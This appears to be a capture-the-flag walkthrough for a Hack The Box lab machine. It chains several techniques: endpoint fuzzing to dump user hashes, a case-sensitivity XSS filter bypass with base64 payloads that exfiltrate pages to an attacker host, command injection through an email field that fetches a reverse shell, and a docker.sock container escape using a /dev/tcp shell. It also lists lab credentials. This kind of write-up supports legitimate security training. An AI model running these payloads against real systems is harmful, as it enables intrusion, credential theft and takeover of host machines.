Scanning

> TARGET=10.10.11.171 && nmap -p$(nmap -p- --min-rate=1000 -T4 $TARGET -Pn | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -sC -sV -Pn -vvv $TARGET -oN nmap_tcp_all.nmap

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack ttl 63 nginx 1.14.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Directory listing for /
  • domain: extension.htb

Web Enul

> wfuzz -c -f subdomains.txt -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://extension.htb/" -H "Host: FUZZ.extension.htb"
[x]
> dirsearch -u http://extension.htb/ -x 404,301
[19:21:26] 405 -  825B  - /_ignition/execute-solution                       
[19:24:05] 302 -  350B  - /dashboard  ->  http://extension.htb/login        
[19:24:30] 200 -    0B  - /favicon.ico                                      
[19:24:53] 403 -  278B  - /images/                                          
[19:24:57] 200 -  957B  - /index.html                                       
[19:24:58] 200 -   37KB - /index.php                                        
[19:25:11] 403 -  278B  - /js/                                              
[19:25:25] 200 -   37KB - /login                                            
[19:25:29] 405 -  825B  - /logout                                           
[19:25:53] 302 -  350B  - /new  ->  http://extension.htb/login              
[19:26:36] 200 -   37KB - /register                                         
[19:26:47] 403 -  278B  - /server-status/                                   
[19:26:47] 403 -  278B  - /server-status
[19:27:35] 302 -  350B  - /users  ->  http://extension.htb/login            
[19:27:52] 200 -    1KB - /web.config
> wfuzz -c -f subdomains.txt -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://snippet.htb/" -H "Host: FUZZ.snippet.htb" --hl 30
000000019:   200        249 L    1197 W     12729 Ch    "dev"
000000002:   200        96 L     331 W      5311 Ch     "mail"

http://dev.snippet.htb/

administrator@snippet.htb
charlie@snippet.htb
jean@snippet.htb
  • dirsearch
> dirsearch -u http://dev.snippet.htb/ -x 404,301
[19:34:55] 200 -    1KB - /.well-known/openid-configuration                 
[19:35:00] 302 -   34B  - /admin  ->  /user/login                           
[19:35:07] 200 -   13KB - /administrator                                    
[19:35:09] 200 -  818B  - /api/swagger                                      
[19:35:22] 302 -   37B  - /explore  ->  /explore/repos                      
[19:35:23] 200 -   12KB - /explore/repos                                    
[19:35:29] 302 -   34B  - /issues  ->  /user/login 
{
  "keys": [
    {
      "use": "sig",
      "kty": "RSA",
      "alg": "RS256",
      "kid": "JJ2IfFyQXk449QE8dIKuE1arjjNZlarw_iFYMYZWcOk",
      "e": "AQAB",
      "n": "q8Xz7LZTnRhYxchpw5Q33OW8afJDNGZ16pnsUUbUJuY8LyBg-TJj0mm2GCB77lU8iDKU-rIVkDc8nXgx0tpKtOV2FiyPkmAQTLORMDVqwiLgs12ar9LabPjyI1uDdyLGtuVB9mAu-AoIcbvIPffCw_j96D0e5Rw5Z9kStVH82Q9_0xcaNJ5DPkBBg1R02d9K7aNiFX9QqkHp_HIVMhAEdehn42Vmi7vk3EKBJTH8LUObHeykh1j9a1ckZ2dbfPXrvRhPZr6EuxKKCL3p-8ih32xr42GTZKaDLCe4t1XB6htPEzFATgaYyZSbey8lriHErbioIpaghlFKYtldktPBRD636_GVqKXKdPLyP3wszIieSdJAQSRbuqqNK-llyBVzZoWOrhk_rIpCFMnL70BBZLtJHVqRCsRNdsojpNRX8kLlENEvU6orc4yXhzQkhMpwwwVnyDJB_NPSjIhrMJ-wtVLeno42peuu7KZcQVjoiCwuJcsjmxQADhcCXFl5-1x65F8BpzrGCwG5OBlms6IHFVZG-9IjR8zPGwdumtvFhqGU5f5R8SffFe6zLqUaecAVZTsDKmFg5G6AIwV4O3pduoCPmKmL9UAhCBkqV7V9aePH8SBVfw46EpyEFwkgcf-KSjFFxD1VFEbZY636Jws7cXOkdba9ifgBglXDOnBj67E"
    }
  ]
}

initial login to the snippet portal

> curl http://snippet.htb/ | grep management
  • Later, we’ll see that this endpoint can be used to dump user hash
  • The post body requires a key and a value pair, these two can be fuzzed as below
> wfuzz -d '{"FUZZ":"value"}' -u http://snippet.htb/management/dump -w /usr/share/wordlists/wfuzz/general/big.txt -H "Content-Type: application/json" -H "X-XSRF-TOKEN: x_xsrf_token" -H "Cookie: XSRF-TOKEN=xsrf_token; snippethtb_session=session_id" --hs "Missing"
  • The final payload is {“download”:“users”} and using this you can dump the hashes of accounts on the system
> curl -d '{"download":"users"}' http://snippet.htb/management/dump -H "Content-Type: application/json" -H "X-XSRF-TOKEN: x_xsrf_token" -H "Cookie: XSRF-TOKEN=xsrf_token; snippethtb_session=session_id" > users.json
  • find accounts with manager type, but the hashes are not crackable
charlie@snippet.htb
30ae5f5b247b30c0eaaa612463ba7408435d4db74eb164e77d84f1a227fa5f82
fern@snippet.htb
f1a5bf0598c3c1a360ded1bb0a20a6c6751ea7f1168b7aa9cf66cade864b9218
  • There are some hashes that are crackable using raw-sha256 format
> john --format=raw-sha256 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
gia@snippet.htb
juliana@snippet.htb
letha@snippet.htb
fredrick@snippet.htb
ef92b778bafe771e89245b89ecbc08a44a4e166c06659911881f383d4473e94f:password123
  • We can login to http://snippet.htb using any of the above accounts to continue the next step.

get jean’s credential

  • Browse the snippet feature and understand how the snippet is updated
  • Try send is_public true to multiple snippet ids, until you see another user’s snippet with a curl command in it
> curl -XGET http://dev.snippet.htb/api/v1/users/jean/tokens -H 'accept: application/json' -H 'authorization: basic amVhbjpFSG1mYXIxWTdwcEE5TzVUQUlYblluSnBB'
  • This is jean’s credential
> echo amVhbjpFSG1mYXIxWTdwcEE5TzVUQUlYblluSnBB | base64 -d
`jean:EHmfar1Y7ppA9O5TAIXnYnJpA`
> curl -X 'GET' 'http://dev.snippet.htb/api/v1/repos/charlie/backups/collaborators' -H 'accept: application/json' -H 'authorization: basic amVhbjpFSG1mYXIxWTdwcEE5TzVUQUlYblluSnBB'

xss attack on charlie

  • login to http://dev.snippet.htb using jean and browse the extension repo
  • We learnt that there is a vulnerability in the inject.js chek function
  • filters are case sensitive and str.replace is only replacing the first occurance of <> tag, so we can use two <> tags to bypass this.
function check(str) {
    // remove tags
    str = str.replace(/<.*?>/, "")
    const filter = [";", "\'", "(", ")", "src", "script", "&", "|", "[", "]"]
    for (const i of filter) {
        if (str.includes(i))
            return ""
    }
    return str
}
test<test><img SRC="http://attacker-ip/test.jpg">
test<test><img SRC="x" onerror=eval.call`${"eval\x28atob`base64_payload`\x29"}`>
  • basic payload
fetch('http://dev.snippet.htb/target-url').then(r => r.text()).then(d => fetch('http://attacker-ip/'+btoa(d)))
  • We can use api to change collaborator as jean, because we have the auth token
> curl -X 'PUT' 'http://dev.snippet.htb/api/v1/repos/jean/extension/collaborators/charlie' -H 'accept: application/json' -H 'authorization: basic amVhbjpFSG1mYXIxWTdwcEE5TzVUQUlYblluSnBB' -H 'Content-Type: application/json'  -d '{"permission": "pull"}'
  • But we cannot use /api/v1 for charlie because we don’t have the API auth token for charlie
  • But we can use the UI to add jean to the repo, the poc needs to be tested using jean’s extension repo first, then change it to operate on charlie’s backups repo.
  • following are some trail and errors
fetch('http://dev.snippet.htb/charlie/backups/raw/branch/master/backup.tar.gz').then(response => response.text()).then(data => fetch('http://<ip>/'+btoa(data)))

// get
fetch('http://dev.snippet.htb/api/v1/repos/charlie/backups/collaborators').then(response => response.text()).then(data => fetch('http://<ip>/'+btoa(data)))

fetch('http://dev.snippet.htb/api/v1/users/charlie/repos/backups').then(response => response.text()).then(data => fetch('http://<ip>/'+btoa(data)))

// put
fetch('http://dev.snippet.htb/api/v1/repos/charlie/backups/collaborators/jean',{method: 'PUT',headers:{'Content-Type':'application/json', 'accept': 'application/json'},body: JSON.stringify({"permission": "admin"})}).then((r) => r.text()).then(d => fetch('http://<ip>/'+btoa(d)))
  • there seems to be a 500 char limit, so the strimmed payload is this
  • request to the collaborators page to get the csrf token and then send a request to add jean to the repo
var u='http://dev.snippet.htb/charlie/backups/settings/collaboration';fetch(u).then(r => document.querySelector('meta[name="_csrf"]').content).then(t => fetch(u,{method:'POST',headers: {'Content-Type':'application/x-www-form-urlencoded;'}, body:'collaborator=jean&_csrf='+t}).then(d => fetch('http://<ip>/?done')))
  • the final payload after base64 encoding
test<test><img SRC="x" onerror=eval.call`${"eval\x28atob`dmFyIHU9J2h0dHA6Ly9kZXYuc25pcHBldC5odGIvY2hhcmxpZS9iYWNrdXBzL3NldHRpbmdzL2NvbGxhYm9yYXRpb24nO2ZldGNoKHUpLnRoZW4ociA9PiBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCdtZXRhW25hbWU9Il9jc3JmIl0nKS5jb250ZW50KS50aGVuKHQgPT4gZmV0Y2godSx7bWV0aG9kOidQT1NUJyxoZWFkZXJzOiB7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZDsnfSwgYm9keTonY29sbGFib3JhdG9yPWplYW4mX2NzcmY9Jyt0fSkudGhlbihkID0+IGZldGNoKCdodHRwOi8vMTAuMTAuMTYuMjcvP2RvbmUnKSkp`\x29"}`>
  • Now, since we have access to http://dev.snippet.htb/charlie/backups, we can donwload the backup.tar.gz and find charlie’s ssh id_rsa.
  • login as charlie and switch to jean to obtain the user flag
> su jean
`EHmfar1Y7ppA9O5TAIXnYnJpA`

http://mail.snippet.htb/

  • nothing found

root

  • Upload linpeas and perform local enum
[+] Active Ports
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-ports
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:35387         0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8001          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:993           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:9000            0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:587           0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:44939         0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:143           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
tcp6       0      0 :::9000                 :::*                    LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      -

[+] Writable log files (logrotten) (limit 100)
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#logrotate-exploitation
Writable: /home/jean/projects/laravel-app/storage/logs/laravel.log 

[+] Backup folders
drwx------ 2 root root 4096 Jun 29 09:44 /etc/lvm/backup

promote gia@snippet.htb

  • We have compromised gia@snippet.htb before, there is a way to promote the user’s privilege
  • Run pspy64 found there is a backgroup process that logs in to mysql, the password can be captured.
2022/07/27 02:40:01 CMD: UID=0    PID=92998  | sh -c mysql -u root -ptoor --database webapp --execute "UPDATE users set password='30ae5f5b247b30c0eaaa612463ba7408435d4db74eb164e77d84f1a227fa5f82' where email='charlie@snippet.htb';"
2022/07/27 02:40:01 CMD: UID=0    PID=93004  | mysql -u root -ptoor --database webapp --execute UPDATE users set password='30ae5f5b247b30c0eaaa612463ba7408435d4db74eb164e77d84f1a227fa5f82' where email='charlie@snippet.htb';
2022/07/27 02:40:01 CMD: UID=0    PID=93005  | docker ps -qf name=laravel-app_db
  • The target doesn’t have mysql client, so map our kali’s local 13306 to target’s localhost:3306
> ssh -L 13306:localhost:3306 charlie@10.10.11.171 -i home/charlie/.ssh/id_rsa
> mysql -h localhost -P 13306 -u root -ptoor --database webapp
MySQL [webapp]> select * from users where email='gia@snippet.htb';
+-----+-----------+-----------------+---------------------+------------------------------------------------------------------+--------------------------------------------------------------+---------------------+---------------------+-----------+
| id  | name      | email           | email_verified_at   | password                                                         | remember_token                                               | created_at          | updated_at          | user_type |
+-----+-----------+-----------------+---------------------+------------------------------------------------------------------+--------------------------------------------------------------+---------------------+---------------------+-----------+
| 669 | Gia Stehr | gia@snippet.htb | 2022-01-02 20:15:30 | ef92b778bafe771e89245b89ecbc08a44a4e166c06659911881f383d4473e94f | WAqftXHITcEIQb9oEeewvLnkSrvXmjAXHbaNoHWczqznwFiQLn1pm6S31l4x | 2022-01-02 20:15:37 | 2022-06-15 19:55:53 | Member    |
+-----+-----------+-----------------+---------------------+------------------------------------------------------------------+--------------------------------------------------------------+---------------------+---------------------+-----------+
1 row in set (0.087 sec)

MySQL [webapp]> update users set user_type='Manager' where email='gia@snippet.htb';
Query OK, 1 row affected (0.049 sec)
Rows matched: 1  Changed: 1  Warnings: 0

finding PE vector

  • There is a folder /home/jean/projects/laravel-app/
  • Search in the folder for dangerous php functions:
> grep -Ri 'shell_exec'
app/Http/Controllers/AdminController.php:            $res = shell_exec("ping -c1 -W1 $domain > /dev/null && echo 'Mail is valid!' || echo 'Mail is not valid!'");
  • Read app/Http/Controllers/AdminController.php
class AdminController extends Controller
{

    /**
     * @throws ValidationException
     */
    public function validateEmail(Request $request)
    {
        $sec = env('APP_SECRET');

        $email = urldecode($request->post('email'));
        $given = $request->post('cs');
        $actual = hash("sha256", $sec . $email);

        $array = explode("@", $email);
        $domain = end($array);

        error_log("email:" . $email);
        error_log("emailtrim:" . str_replace("\0", "", $email));
        error_log("domain:" . $domain);
        error_log("sec:" . $sec);
        error_log("given:" . $given);
        error_log("actual:" . $actual);

        if ($given !== $actual) {
            throw ValidationException::withMessages([
                'email' => "Invalid signature!",
            ]);
        } else {
            $res = shell_exec("ping -c1 -W1 $domain > /dev/null && echo 'Mail is valid!' || echo 'Mail is not valid!'");
            return Redirect::back()->with('message', trim($res));
        }

    }
}

Getting into the container again

  • From the code, there is a check using sha256 + APP_SECRET + urlencoded(email). And the secret is logged in the error log. However, after a while, these info cannot be found on the host. So, together with other evidence, there is a strong reason to believe that the laravel app must be running inside a container.
  • Instead of trying to find the APP_SECRET, we can insert a new user into the users table so that the cs calculation is done for us.
> insert into users(name,email,email_verified_at,password,remember_token,created_at,updated_at,user_type) values('meow','meow@meow|curl http://<ip>','2022-01-02 20:15:30','ef92b778bafe771e89245b89ecbc08a44a4e166c06659911881f383d4473e94f','GyQelTmSl4TQJJJ8bZIAOX7cXNOy6yvibSQ2i8k6Cm0HSmrH0jL8QzCx33s6','2022-01-02 20:15:37','2022-06-15 19:55:53','Manager');
  • Then, we can update this row to trial out payload
> update users set email='meow@meow|wget http://<ip>/w.php -O w.php && php w.php' where name='meow';
  • Now, we have a reverse shell to the target container
  • Btw, APP_SECRET=T8pQxcZe1mcVcdtbZRSqSCDNIiTmaYZjPQsemzuj
> python -c 'import pty; pty.spawn("/bin/bash")'

PE from the container

[+] Dangerous Capabilities .. Yes
Bounding set =cap_chown,`cap_dac_override`,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap

[+] Docker sock mounted ....... Yes
The docker sock is writable, we should be able to enumerate docker, create containers 
and obtain root privs on the host machine
See https://stealthcopter.github.io/deepce/guides/docker-sock.md 
  • Docker socket is mounted and is writable, this may be used to escape the container
> find / -name docker.sock 2>/dev/null
/app/docker.sock
> ls -ls /app/docker.sock
0 srw-rw---- 1 root app 0 Jul 28 04:34 /app/docker.sock
#!/bin/bash

# you can see images availables with
> curl -s --unix-socket /app/docker.sock http://localhost/images/json
# here we have laravel-app_main:latest

# command executed when container is started
# change dir to tmp where the root fs is mount and execute reverse shell
cmd="[\"/bin/sh\",\"-c\",\"chroot /tmp sh -c \\\"bash -c 'bash -i &>/dev/tcp/<ip>/5555 0<&1'\\\"\"]"

# create the container and execute command, bind the root filesystem to it, name the container meow_root and execute as detached (-d)
curl -s -X POST --unix-socket /app/docker.sock -d "{\"Image\":\"laravel-app_main\",\"cmd\":$cmd,\"Binds\":[\"/:/tmp:rw\"]}" -H 'Content-Type: application/json' http://localhost/containers/create?name=meow_root

# start the container
curl -s -X POST --unix-socket /app/docker.sock "http://localhost/containers/meow_root/start"